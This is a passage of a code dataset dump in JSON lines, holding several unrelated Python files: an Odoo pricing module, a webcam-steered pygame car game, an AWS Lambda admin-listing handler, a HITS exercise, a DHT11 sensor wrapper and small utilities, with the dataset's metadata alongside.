(D['S']['acquirehiv'][:,indices]), delimiter=',')\n\n\n\n\nprint('Done.')\n\n\n","sub_path":"senegal/analysisscript.py","file_name":"analysisscript.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"431771373","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# Copyright (c) 2013 SF Soluciones.\n# (http://www.sfsoluciones.com)\n# contacto@sfsoluciones.com\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##############################################################################\nfrom osv import osv, fields\nimport decimal_precision as dp\n\nclass product_product(osv.osv):\n _inherit = 'product.product'\n \n def _product_price(self, cr, uid, ids, name, arg, context=None):\n res = {}\n \n if context is None:\n context = {}\n quantity = context.get('quantity') or 1.0\n pricelist =context.get('pricelist', False)\n if not pricelist:\n user_obj=self.pool.get('res.users').browse(cr, uid, uid, context=context)\n if user_obj.shop_id and user_obj.shop_id.pricelist_id :\n pricelist =user_obj.shop_id.pricelist_id.id\n partner = context.get('partner', False)\n if not pricelist:\n for product_obj in self.browse(cr, uid, ids, context=context):\n \n res[product_obj.id] = product_obj.list_price\n if pricelist:\n for id in ids:\n try:\n price = self.pool.get('product.pricelist').price_get(cr,uid,[pricelist], id, quantity, partner=partner, context=context)[pricelist]\n \n except:\n price = 0.0\n res[id] = round(price,3)\n \n for id in ids:\n res.setdefault(id, 0.0)\n return res\n \n _columns = {\n 'price': fields.function(_product_price, type='float', string='Pricelist', digits_compute=dp.get_precision('Sale Price')),\n 'auto_produce': fields.boolean('Auto Produce', help=\"Create an production order from pos if product is Make to order and Produce\")\n }\n \nproduct_product()\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","sub_path":"sfs_pos_customization/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"161657518","text":"import hashlib\n\ndef md5sum(fname):\n \"\"\" Computes md5 sum of a file contents.\n\n :param fname: Path to file.\n :returns: md5 sum of the file.\n \"\"\"\n md5 = hashlib.md5()\n with open(fname, 'rb') as f:\n for chunk in iter(lambda: f.read(128*md5.block_size), b''):\n md5.update(chunk)\n return md5.hexdigest()\n","sub_path":"tator/util/md5sum.py","file_name":"md5sum.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"593656954","text":"\"\"\"\n@author: David Diaz Vico\n\"\"\"\n\nfrom sklearn.datasets import load_svmlight_files\nfrom sklearn.datasets.base import Bunch\n\nfrom .base import fetch_file\n\n\ndef load_w8a(return_X_y=False):\n \"\"\"Load and return the w8a dataset (classification).\n \"\"\"\n filename = fetch_file('w8a',\n 'http://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/binary/w8a')\n filename_test = fetch_file('w8a',\n 'http://www.csie.ntu.edu.tw/~cjlin/libsvmtools/datasets/binary/w8a.t')\n X, y, X_test, y_test = load_svmlight_files([filename, filename_test])\n X = X.todense()\n X_test = X_test.todense()\n\n if return_X_y:\n return X, y, X_test, y_test\n\n return Bunch(data=X, target=y, data_test=X_test, target_test=y_test)\n","sub_path":"datasets/w8a.py","file_name":"w8a.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53608760","text":"# Каталог документов хранится в следующем виде:\ndocuments = [\n {\"type\": \"passport\", \"number\": \"2207 876234\", \"name\": \"Василий Гупкин\"},\n {\"type\": \"invoice\", \"number\": \"11-2\", \"name\": \"Геннадий Покемонов\"},\n {\"type\": \"insurance\", \"number\": \"10006\", \"name\": \"Аристарх Павлов\"},\n {\"type\": \"spravka\", \"number\": \"332\", \"name\": \"\"},\n {\"type\": \"dogovor\", \"number\": \"1456 4568\"}\n\n]\n\n# Перечень полок, на которых находятся документы хранится в следующем виде\ndirectories = {\n '1': ['2207 876234', '11-2', '5455 028765'],\n '2': ['10006', '5400 028765', '5455 002299'],\n '3': []\n}\n\n# Сообщение об отсутствующем документе\nwarning_doc_num = (\"\\nДокумента с таким номером не существует \\n\"\n \"Чтобы добавить новый документ используйте команду 'a' \\n\")\n\n# Сообщение об отсутствующей полке\nwarning_shelf = ('\\nПолки с таким номером не существует. \\nДействие не выполнено.'\n '\\nПопробуйте ещё раз \\n ')\n\n# Инстркуция о командах для пользователя:\nprint('Список команд: \\n '\n 'p - найти имя человека по номеру документа \\n '\n 'l - посмотреть список всех документов \\n '\n 's - найти, на какой полке лежит документ с определённым номером \\n '\n 'a - добавить новый документ \\n '\n 'd - удалить документ \\n '\n 'm - переместить документ \\n '\n 'as - добавить новую полку с указанным номером \\n '\n 'ado - вывести перечень всех владельцев документов в нашей базе \\n '\n 'q - завершить сеанс \\n')\n\n\ndef people_by_number():\n \"\"\" Функция для команды 'p', которая спросит номер документа\n и выведет имя человека, которому он принадлежит\n\n \"\"\"\n doc_number = input('Введите номер документа: ')\n exist = False # Эта переменная поможет вывести предупреждение, если такого документа нет\n # Проверяем наличие документа и выводим имя человека\n for doc in documents:\n if doc['number'] == doc_number:\n exist = True\n try:\n print(doc['name'], '\\n')\n except KeyError:\n print(f'Для документа {doc_number} не указан владелец\\n')\n if not exist:\n print(warning_doc_num)\n\n\ndef all_doc_list():\n \"\"\" Функция для команды 'l', которая выведет список всех документов\n в формате passport \"2207 876234\" \"Василий Гупкин\"\n\n \"\"\"\n for doc in documents:\n print(f' {doc[\"type\"]:12} \"{doc[\"number\"]}\" \"{doc[\"name\"]}\"')\n\n\ndef doc_shell_find():\n \"\"\" Функция для команды 's', которая спросит номер документа и выведет номер полки,\n на которой он находится\n\n \"\"\"\n doc_number = input('Введите номер документа: ')\n exist = False # Эта переменная поможет вывести предупреждение, если такого документа нет\n for shelf in directories.keys():\n if doc_number in directories[shelf]:\n print(f'Этот документ лежит на полке {int(shelf)}')\n exist = True\n if not exist:\n print(warning_doc_num)\n\n\ndef add_new_doc():\n \"\"\" Функция для 'a' - команды, которая добавит новый документ в каталог и в перечень полок,\n спросив его номер, тип, имя владельца и номер полки, на котором он будет храниться\n\n \"\"\"\n new_doc_number = input('Введите номер нового документа: ')\n new_doc_type = input('Введите тип нового документа: ')\n new_doc_name = input('Введите имя владельца нового документа: ')\n new_doc_shelf = input('Укажите полку, на которой будет хранится новый документ: ')\n\n # Эта переменная для того чтобы показать пользователю актуальный набор полок\n shelf_list = ', '.join(list(directories.keys()))\n\n # Проверяем существование полки и добавляем, если она существует\n if new_doc_shelf in directories.keys():\n documents.append({'type': new_doc_type, 'number': new_doc_number, 'name': new_doc_name})\n directories[new_doc_shelf].append(new_doc_number)\n print(f'\\nДокумент с номером {new_doc_number} добавлен на полку {new_doc_shelf} \\n')\n else:\n print(warning_shelf, f'\\nСейчас есть полки с номерами {shelf_list}')\n\n\ndef del_doc():\n \"\"\"Функция для 'd' - команды, которая\n спросит номер документа и удалит его из каталога и из перечня полок\n\n \"\"\"\n doc_to_del = input('Введите номер документа, который нужно удалить: ')\n\n exist = False # Эта переменная поможет вывести предупреждение, если такого документа нет\n for doc in documents:\n if doc['number'] == doc_to_del:\n documents.remove(doc)\n exist = True\n for shelf in directories.keys():\n if doc_to_del in directories[shelf]:\n directories[shelf].remove(doc_to_del)\n print(f'Документ c номером {doc_to_del} удалён из базы. \\n')\n\n if not exist:\n print(warning_doc_num)\n\n\ndef doc_move():\n \"\"\" Функция для команды 'm' - которая спросит номер документа и\n целевую полку и переместит его с текущей полки на целевую\n\n \"\"\"\n doc_tomove_number = input('Введите номер перемещаемого документа: ')\n\n doc_exist = False # Эта переменная поможет вывести предупреждение, если такого документа нет\n old_shelf_list = [] # Эта переменная нужна на тот случай, если документ оказался зарегистрирован на нескольких полках\n shelf_list = ', '.join(\n list(directories.keys())) # Эта переменная для того чтобы показать пользователю актуальный набор полок\n\n # Проверим сначала наличие документа\n for shelf in directories.keys():\n for doc in directories[shelf]:\n if doc_tomove_number == doc:\n old_shelf_list.append(shelf)\n doc_exist = True\n\n # Запрос номера полки, проверка её наличия, удаления с текущей полки и помещение на новую при условии наличия док-та\n if doc_exist:\n shelf_to_put_on = input('Укажите номер полки, куда переместить: ')\n if shelf_to_put_on in directories.keys():\n for shelf in old_shelf_list: # Этот цикл уберёт все лишние записи если документ оказался записан на нескольких полках\n directories[shelf].remove(doc_tomove_number)\n directories[shelf_to_put_on].append(doc_tomove_number)\n\n print(f'документ \"{doc_tomove_number}\" перемещён на полку {shelf_to_put_on} \\n')\n else:\n print(warning_shelf)\n else:\n print(warning_doc_num, f'\\nСейчас есть полки с номерами {shelf_list}')\n\n\ndef make_new_shelf():\n \"\"\" Функция для команды 'as' - команда, которая спросит номер новой полки и добавит ее в перечень\n\n \"\"\"\n new_shelf_num = input('Введите номер новой полки: ')\n if new_shelf_num not in directories.keys():\n directories[new_shelf_num] = []\n print(f'Новая полка с номером {new_shelf_num} создана \\n')\n else:\n print('Полка с таким номером уже существует \\n')\n\ndef all_doc_owners():\n \"\"\" Эта функция выводит имена всех владельцев документов из списка документов.\n Если у документа пустое с именем или это поле вообще отсутствует - ловим это исключение\n и выводим сообщение для пользователя\n\n \"\"\"\n empty_name_list = [] # Список документов без указания имени\n\n print('В базе данных о документах есть информация о следующих владельцах:\\n')\n for doc in documents:\n try:\n if doc['name'] == '':\n raise KeyError\n else:\n print(doc['name'])\n\n except KeyError:\n empty_name_list.append(doc['number'])\n\n print(' ')\n for empty_name_doc in empty_name_list:\n print(f'Для документа {empty_name_doc} не указан владелец')\n print(' ')\n\n\ndef main():\n while True:\n command = input('Введите команду: ').replace(' ', '')\n if command == 'p':\n people_by_number()\n elif command == 'l':\n all_doc_list()\n elif command == 's':\n doc_shell_find()\n elif command == 'a':\n add_new_doc()\n elif command == 'd':\n del_doc()\n elif command == 'm':\n doc_move()\n elif command == 'as':\n make_new_shelf()\n elif command == 'ado':\n all_doc_owners()\n elif command == 'q':\n print('Конец сеанса \\n')\n break\n else:\n print('Такой команды нет в списке команд\\n')\n\n\nmain()\n","sub_path":"Домашка про секретарскую программу для документов.py","file_name":"Домашка про секретарскую программу для документов.py","file_ext":"py","file_size_in_byte":11087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"217632362","text":"import pygame, random, sys ,os,time\nfrom pygame.locals import *\nimport cv2\nimport numpy as np\n\n\npygame.init()\n\ndisplay_height = 600\ndisplay_width = 800\n\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\n\nred = (200,0,0)\ngreen = (0,200,0)\nyellow = (200,200,0)\nblue = (0,0,200)\n\nbright_red = (255,0,0)\nbright_green = (0,255,0)\nbright_yellow = (255,255,0)\nbright_blue = (0,0,255)\ncar_width = 55\nzero=0\nglobal topScore\n\nif not os.path.exists(\"data/save.dat\"):\n f=open(\"data/save.dat\",'w')\n f.write(str(zero))\n f.close()\nv=open(\"data/save.dat\",'r')\ntopScore = int(v.readline())\n\n\ngameDisplay = pygame.display.set_mode((display_width, display_height))\npygame.display.set_caption('Kuet road traffic challenge')\nclock = pygame.time.Clock()\n\nbackground = pygame.image.load(\"back.jpg\")\ngameover = pygame.image.load(\"gameover.png\")\nbackground = pygame.transform.scale(background, (800, 600))\npause=False\nbackground_size = background.get_size()\nbackground_rect = background.get_rect()\ngameover_rect =gameover.get_rect()\nscreen = pygame.display.set_mode(background_size)\nw, h = background_size\nm = 0\nn = 0\nglobal choose\nx1 = 0\ny1 = -h\n\nobsImg = pygame.image.load('b.png')\nobsImg = pygame.transform.scale(obsImg, (50, 80))\n\nRedCar = pygame.image.load('red.png')\nRedCar = pygame.transform.scale(RedCar, (50, 85))\n\nBlueCar = pygame.image.load('blue.png')\nBlueCar = pygame.transform.scale(BlueCar, (50, 85))\n\nGreenCar = pygame.image.load('green.png')\nGreenCar = pygame.transform.scale(GreenCar, (50, 85))\n\npygame.mixer.music.load('car.wav')\ngameOverSound = pygame.mixer.Sound('crash.wav')\nlaugh = pygame.mixer.Sound('laugh.wav')\n\ndef things_dodged(count):\n font = pygame.font.SysFont(None, 25)\n text = font.render(\"Dodged: \" + str(count), True, black)\n gameDisplay.blit(text, (0, 0))\n\ndef life_remaining(attempt):\n font = pygame.font.SysFont(None, 25)\n text = font.render(\"Remaining Life: \" + str(attempt), True, black)\n gameDisplay.blit(text, (0, 20))\n\ndef disp_highScore(topScore):\n font = pygame.font.SysFont(None, 25)\n text = font.render(\"High Score: \" + str(topScore), True, black)\n gameDisplay.blit(text, (0, 40))\n\ndef car(x, y):\n if choose == 1:\n gameDisplay.blit(RedCar, (x, y))\n if choose == 2:\n gameDisplay.blit(BlueCar, (x, y))\n if choose == 3:\n gameDisplay.blit(GreenCar, (x, y))\n\n\n\ndef obs(x, y):\n gameDisplay.blit(obsImg, (x, y))\n\n\ndef things(thingx, thingy):\n gameDisplay.blit(obsImg, (thingx, thingy))\n\n\ndef text_objects(text, font):\n textSurface = font.render(text, True, black)\n return textSurface, textSurface.get_rect()\n\ndef text_objects2(text, font):\n textSurface = font.render(text, True, red)\n return textSurface, textSurface.get_rect()\n\n\ndef message_display(text):\n largeText = pygame.font.Font('freesansbold.ttf', 115)\n TextSurf, TextRect = text_objects(text, largeText)\n TextRect.center = ((display_width / 2), (display_height / 2))\n gameDisplay.blit(TextSurf, TextRect)\n\n pygame.display.update()\n global attempt\n attempt-=1\n if(attempt==0):\n laugh.play()\n attempt=3\n time.sleep(2)\n game_over()\n\n\n time.sleep(1)\n game_loop()\n\n gameOverSound.stop()\ndef unpause():\n global pause\n pause =False\n\n\ndef button(msg,x,y,w,h,ic,ac,action=None):\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n print(click)\n if x+w > mouse[0] > x and y+h > mouse[1] > y:\n pygame.draw.rect(gameDisplay, ac,(x,y,w,h))\n\n if click[0] == 1 and action != None:\n if action == \"car1\":\n global choose\n choose = 1\n game_loop()\n if action == \"car2\":\n choose = 2\n game_loop()\n if action == \"car3\":\n choose = 3\n game_loop()\n if action==\"unpause\":\n unpause()\n if action == \"quit\":\n pygame.quit()\n quit()\n if action == \"gameIntro\":\n game_intro()\n\n else:\n pygame.draw.rect(gameDisplay, ic,(x,y,w,h))\n\n smallText = pygame.font.SysFont(\"comicsansms\",17)\n textSurf, textRect = text_objects(msg, smallText)\n textRect.center = ( (x+(w/2)), (y+(h/2)) )\n gameDisplay.blit(textSurf, textRect)\n\n\n\ndef game_intro():\n global attempt\n attempt = 3\n intro = True\n\n while intro:\n for event in pygame.event.get():\n # print(event)\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n quit()\n\n gameDisplay.fill(white)\n largeText = pygame.font.SysFont(\"comicsansms\", 115)\n smallText = pygame.font.SysFont(\"comicsansms\", 50)\n TextSurf, TextRect = text_objects(\"Choose Car\", smallText)\n TextRect.center = ((display_width / 2), (display_height / 2))\n gameDisplay.blit(TextSurf, TextRect)\n\n button(\"Red car\", 50, 450, 100, 50, red, bright_red, action = \"car1\")\n button(\"Blue car\", 250, 450, 100, 50, blue, bright_blue, action = \"car2\" )\n button(\"Green car\", 450, 450, 100, 50, green, bright_green, action=\"car3\")\n button(\"Quit\", 650, 450, 100, 50, yellow, bright_yellow, action = \"quit\")\n\n pygame.display.update()\n clock.tick(15)\n\n\ndef game_over():\n intro = True\n\n while intro:\n for event in pygame.event.get():\n # print(event)\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n screen.blit(gameover, gameover_rect)\n largeText = pygame.font.SysFont(\"comicsansms\", 115)\n TextSurf, TextRect = text_objects2(\"Game Over\", largeText)\n TextRect.center = ((display_width / 2), (display_height / 2))\n gameDisplay.blit(TextSurf, TextRect)\n\n button(\"Play Again!\", 150, 450, 100, 50, green, bright_green, action=\"gameIntro\")\n button(\"Quit\", 550, 450, 100, 50, red, bright_red, action=\"quit\")\n\n pygame.display.update()\n clock.tick(15)\n\ndef paused():\n largeText = pygame.font.SysFont(\"comicsansms\", 115)\n TextSurf, TextRect = text_objects(\"Paused\", largeText)\n TextRect.center = ((display_width / 2), (display_height / 2))\n gameDisplay.blit(TextSurf, TextRect)\n\n while pause:\n for event in pygame.event.get():\n\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n\n\n\n button(\"Continue\", 150, 450, 100, 50, green, bright_green,action=\"unpause\")\n button(\"Quit\", 550, 450, 100, 50, red, bright_red, action=\"quit\")\n\n pygame.display.update()\n clock.tick(15)\ncap = cv2.VideoCapture(0)\nprevx, prevy = 0,0\nfactor = 5\ncap.set(3,396)\ncap.set(4,216)\ndef gamecontrol(moveLeft, moveRight, moveUp, moveDown):\n _, frame = cap.read()\n frame = cv2.blur(frame,(3,3))\n\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n\n lower_blue = np.array([110,50,50])\n upper_blue = np.array([130,255,255])\n thresh = cv2.inRange(hsv,lower_blue, upper_blue)\n\n mask = cv2.inRange(hsv, lower_blue, upper_blue)\n _,contours,hierarchy = cv2.findContours(thresh,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n max_area = 0\n best_cnt = None\n for cnt in contours:\n area = cv2.contourArea(cnt)\n if area > max_area:\n max_area = area\n best_cnt = cnt\n\n M = cv2.moments(best_cnt)\n\n if(M['m00']>0 and max_area>100):\n cx,cy = int(M['m10']/M['m00']), int(M['m01']/M['m00'])\n cv2.circle(frame,(cx,cy),5,255,-1)\n\n if(cx>190):\n moveRight = False\n moveLeft = True\n else:\n moveLeft = False\n moveRight = True\n if(cy>100):\n moveUp = False\n moveDown = True\n else:\n moveDown = False\n moveUp = True\n else:\n print(\"invisible\")\n pygame.mixer.music.stop()\n global pause\n pause = True\n paused()\n\n res = cv2.bitwise_and(frame,frame, mask= mask)\n res = (255-res)\n res=cv2.flip(res,1)\n cv2.imshow(\"res\",res)\n\n\n return moveLeft, moveRight, moveUp, moveDown\n\n\ndef crash():\n global topScore\n if dodged > topScore:\n g = open(\"data/save.dat\", 'w')\n g.write(str(dodged))\n g.close()\n topScore = dodged\n message_display('You Crashed')\n\n pygame.mixer.music.stop()\n\n\n\n\ndef game_loop():\n global pause\n x = (display_width * 0.45)\n y = (display_height * 0.85)\n moveLeft = moveRight = moveUp = moveDown = False\n x_change = 0\n y_change = 0\n thing_startx = random.randrange(0, display_width)\n thing_starty = -600\n thing_speed = 15\n global dodged\n dodged = 0\n\n\n\n\n gameExit = False\n\n while not gameExit:\n\n screen.blit(background, background_rect)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n pygame.mixer.music.stop()\n time.sleep(0.4)\n game_intro()\n\n\n\n if event.type == pygame.KEYDOWN:\n #if event.key == pygame.K_p:\n #pygame.mixer.music.stop()\n #pause = True\n # paused()\n\n if event.key == pygame.K_r:\n global topScore\n g = open(\"data/save.dat\", 'w')\n g.write(str(zero))\n g.close()\n topScore = 0\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n x_change = -5\n elif event.key == pygame.K_RIGHT:\n x_change = 5\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n x_change = 0\n\n if event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_UP :\n y_change = -5\n\n elif event.key == pygame.K_DOWN :\n y_change = 5\n\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n y_change = 0\n\n\n moveLeft, moveRight, moveUp, moveDown = gamecontrol(moveLeft, moveRight, moveUp, moveDown)\n\n if moveLeft:\n x_change = -5\n elif moveRight:\n x_change = 5\n if moveUp:\n y_change = -5\n elif moveDown:\n y_change = 5\n\n\n\n\n\n x += x_change\n y += y_change\n\n pygame.mixer.music.play(-1, 0.0)\n global y1\n global n\n y1 += 5\n n += 5\n screen.blit(background, (m, n))\n screen.blit(background, (x1, y1))\n if n > h:\n n = -h\n if y1 > h:\n y1 = -h\n\n things(thing_startx, thing_starty)\n thing_starty += thing_speed\n car(x, y)\n things_dodged(dodged)\n life_remaining(attempt)\n disp_highScore(topScore)\n pygame.display.flip()\n pygame.display.update()\n\n if x > (display_width - car_width or x < 0) or (y > display_height - car_width or y < 0):\n pygame.mixer.music.stop()\n gameOverSound.play()\n crash()\n\n if thing_starty > display_height:\n thing_starty = 0 - 70\n thing_startx = random.randrange(0, display_width-500)\n dodged += 1\n thing_speed += 1\n\n\n\n if y < thing_starty + 75:\n print('y crossover')\n\n if x > thing_startx and x < thing_startx + 50 or x + car_width > thing_startx and x + car_width < thing_startx + 50:\n print('x crossover')\n pygame.mixer.music.stop()\n gameOverSound.play()\n\n crash()\n\n\n\n\n\n pygame.display.update()\n clock.tick(15)\n\ngame_intro()\ngame_loop()\npygame.quit()\nquit()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":12091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"287783176","text":"import command_handler\n\n\ndef textures():\n message = 'Привет! У тебя возникли проблемы с текстур паком?\\n Вот, держи прямую ссылку на скачивание: ' \\\n 'lalala\\n Положи скачанный файл в папку textures \\n\\n' \\\n 'Сообщение отправлено автоматически. Если информация вам не помогла, дождитесь ответа администратора.'\n return message\n\n\ncommand_textures = command_handler.Command()\ncommand_textures.keys = ['текстуры', 'ресурс пак', 'текстур пак']\ncommand_textures.form = textures\n","sub_path":"commands/command_textures.py","file_name":"command_textures.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"411106256","text":"from __future__ import print_function\n\nimport json\nimport boto3\nimport config\nfrom boto3.dynamodb.conditions import Attr\nimport traceback\n\ndynamo = boto3.resource('dynamodb', region_name=config.region)\nlambda_client = boto3.client('lambda')\n\nbo_user_table = dynamo.Table(config.backoffice_user_table)\n\n\ndef lambda_handler(event, context):\n response = {}\n\n try:\n lambda_resp = lambda_client.invoke(\n FunctionName=config.authenticator_admin,\n InvocationType='RequestResponse',\n LogType='None',\n Payload='{\"base64-token-email\": \"' + event['base64-token-email'] + '\"}')\n\n lambda_resp = json.loads(lambda_resp['Payload'].read())\n\n if 'email' in lambda_resp:\n response['email'] = lambda_resp['email']\n if 'token' in lambda_resp:\n response['token'] = lambda_resp['token']\n if 'error' in lambda_resp:\n response['error'] = lambda_resp['error']\n return response\n\n if event['resource_path'] not in lambda_resp['actions'] \\\n or ('*' not in lambda_resp['actions'][event['resource_path']]\n and event['http_method'] not in lambda_resp['actions'][event['resource_path']]):\n response['error'] = [\n {\n 'error': 'accessdenied',\n 'message': 'You are not authorized to perform this action.'\n }\n ]\n return response\n\n # Get all other admins.\n resp = bo_user_table.scan(ProjectionExpression='email, first_name, last_name, role_name, phone_number',\n FilterExpression=Attr('role_name').ne('Vendor'))\n\n if 'Items' in resp and resp['Items']:\n response['members'] = resp['Items']\n else:\n response['error'] = [\n {\n 'error': 'noaccounts',\n 'message': 'No accounts found at this time.'\n }\n ]\n except Exception as e:\n print(e)\n lambda_client.invoke(FunctionName=config.error_handler,\n InvocationType='Event',\n LogType='None',\n Payload=json.dumps({\n \"function_name\": context.function_name,\n \"args\": e.args,\n \"message\": traceback.format_exc()\n }))\n response['error'] = [\n {\n 'error': e.message,\n 'message': 'An error occurred. Please try again later.'\n }\n ]\n return response\n","sub_path":"handlers/admin/members/GET/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"323724525","text":"import os\nimport sys\nfrom time import strftime, localtime, time\nfrom nltk.corpus import reuters\nfrom nltk import word_tokenize\nfrom nltk.stem.porter import PorterStemmer\nimport re\nfrom nltk.corpus import stopwords\nimport gzip\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n__author__ = 'Plinio H. Vargas'\n__date__ = 'Wed, December 14, 2016 at 16:29:11'\n__email__ = 'pvargas@cs.odu.edu'\n\nPACKAGE_PARENT = '..'\nSCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))\nsys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))\n\ncachedStopWords = stopwords.words(\"english\")\n\n\ndef main():\n # record running time\n start = time()\n print('Starting Time: %s\\n' % strftime(\"%a, %b %d, %Y at %H:%M:%S\", localtime()))\n\n # creating the graph\n graph = {'A': {'A':[0, 0]},\n 'B': {'o':['A'], 'B':[0, 0]},\n 'C': {'o':['A', 'B', 'D'], 'C':[0, 0]},\n 'D': {'D':[0, 0]},\n 'E': {'o':['D'], 'E': [0, 0]},\n 'F': {'o':['D'], 'F': [0, 0]},\n 'G': {'G':[0, 0]}}\n\n node_value = {'A': [1, 1], 'B': [1, 1],'C': [1, 1],'D': [1, 1],'E': [1, 1],'F': [1, 1],'G': [1, 1]}\n\n for k in range(5):\n hub_total = 0\n auth_total = 0\n for node in graph:\n if 'o' in graph[node]:\n for vertex in graph[node]['o']:\n graph[node][node][1] += node_value[vertex][0]\n graph[vertex][vertex][0] += node_value[node][1]\n hub_total += node_value[vertex][0]\n auth_total += node_value[node][1]\n\n for node in graph:\n node_value[node][0] = graph[node][node][0] / auth_total\n node_value[node][1] = graph[node][node][1] / hub_total\n graph[node][node][0] = 0\n graph[node][node][1] = 0\n\n print('\\nfor k=%d HITS Calculation is:' % (k + 1))\n for node in sorted(node_value):\n print('%c = (%.2f, %.2f)' % (node, node_value[node][0], node_value[node][1]))\n\n print('\\nEnd Time: %s' % strftime(\"%a, %b %d, %Y at %H:%M:%S\", localtime()))\n print('Execution Time: %.4f seconds' % (time()-start))\n return\n\n\nif __name__ == '__main__':\n main()\n sys.exit(0)","sub_path":"a05/hits.py","file_name":"hits.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"87905983","text":"import os\nimport db\nimport subprocess\nimport time\nclass DHT11:\n \"\"\"硬件虚拟化基础类\"\"\"\n\n def __init__(self,equip,mode):\n self.equip = equip\n self.temp = 0\n self.humi = 0\n self.mode = mode\n\n def getData(self):\n result = db.find(self.equip)\n if result == None:\n return (False, 'not found this equip')\n (ipaddr, port) = result\n if self.mode == 'host' or self.mode == 'host_remote' or self.mode == 'docker_remote':\n ipaddr = os.getenv('HFV_HOST')\n elif self.mode == 'docker':\n ipaddr = self.equip\n port = 3000\n else:\n return (False, 'no this mode')\n\n cmd = 'python3 send.py ' + ipaddr + ' ' + str(port) + ' temp'\n (status, output) = subprocess.getstatusoutput(cmd)\n if status == 0:\n (temp, humi) = output.split('&')\n return (temp, humi)\n else:\n return (False, output)\n \n def getTemperature(self):\n (self.temp, self.humi) = self.getData()\n return self.temp\n\n def getHumidity(self):\n (self.temp, self.humi) = self.getData()\n return self.humi\n\nif __name__ == \"__main__\":\n a = DHT11('dht11v21.0', 'host')\n temp = a.getTemperature()\n print(temp)\n print(a.getHumidity())\n \n","sub_path":"manager/api/dht11.py","file_name":"dht11.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"33692573","text":"r\"\"\"\nUsage:\n=======\npython distribution.py \\\n --chunk-size 500000 \\\n --srcs \\\n \"..\\build\\data\\phm2012\\initialized\\Learning_set-Bearing1_1-acc.csv\" \\\n \"..\\build\\data\\phm2012\\initialized\\Learning_set-Bearing1_2-acc.csv\" \\\n \"..\\build\\data\\phm2012\\initialized\\Learning_set-Bearing2_1-acc.csv\" \\\n \"..\\build\\data\\phm2012\\initialized\\Learning_set-Bearing2_2-acc.csv\" \\\n \"..\\build\\data\\phm2012\\initialized\\Learning_set-Bearing3_1-acc.csv\" \\\n \"..\\build\\data\\phm2012\\initialized\\Learning_set-Bearing3_2-acc.csv\" \\\n --dest \"..\\build\\plots\\phm2012\\distribution\\x.eps\" \\\n --x-label \"Range of Vibration Signal\" \\\n --y-label \"Amount\" \\\n --title \"Vibration Distribution\" \\\n --thresholds -3.5 3.0 0.05 \\\n --column \"x\"\n\"\"\"\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\n# mpl.use('Agg')\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\nfrom utils.utils import log, get_args, prepare_directory\n\nmpl.rcParams['agg.path.chunksize'] = 10000\n\nargs = get_args()\n\nif __name__ == '__main__':\n threshold_step = args.thresholds[2]\n thresholds = np.arange(args.thresholds[0], args.thresholds[1], threshold_step)\n counts = np.zeros(shape=[len(thresholds)])\n data = np.array([])\n for src in args.srcs:\n log('parsing ' + src)\n df_chunks = pd.read_csv(\n src,\n chunksize=args.chunk_size\n )\n for idx_chunk, df_chunk in enumerate(df_chunks):\n log(idx_chunk)\n data = np.concatenate((data, np.array(df_chunk[args.column].values)), axis=0)\n for idx, threshold in enumerate(thresholds[0:-1]):\n increment_value = len(df_chunk[\n 